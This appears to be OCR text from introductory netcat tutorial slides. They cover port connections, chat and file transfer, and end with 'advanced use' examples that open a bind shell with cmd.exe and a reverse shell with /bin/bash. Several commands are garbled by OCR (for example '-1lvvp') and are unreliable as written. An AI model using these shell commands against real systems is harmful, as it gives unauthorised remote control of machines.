


hetcat i1s simply describe as tool that can
read and write on TCP and UDP ports

(client mode / server mode)



basic use

nc -vv <IP> <PORT>
$ nc -vv 192.168.216.101 80

connect to service and try to send command

something like telnet



basic use

using netcat as client/server chat

(hostl 10.0.0.4) server
$ nc -lvvp 4444

(host2) client
$ nc -vv 10.0.0.4 4444



basic use

using netcat to transfer file
(hostl — host2)

(hostl 10.0.0.4) receiver
$ nc -1lvvp 4444 > receivedfile. txt

(host2) sender
$ nc -vv 10.0.0.4 4444 < filetosend. txt






advanced use

using netcat for command redirection

Bob (10.0.0.5) request Alice help and start
C:> nc -1lvvp 4444 -e cmd.exe

Alice can connect to Bob
$ nc -v 10.0.0.5 4444



advanced use

using netcat for command redirection

Bob (10.0.0.5) is available for Alice
C:> nc -1lvvp 4444

Alice can connect to Bob and send command
$ nc -v 10.0.0.5 4444 -e /bin/bash
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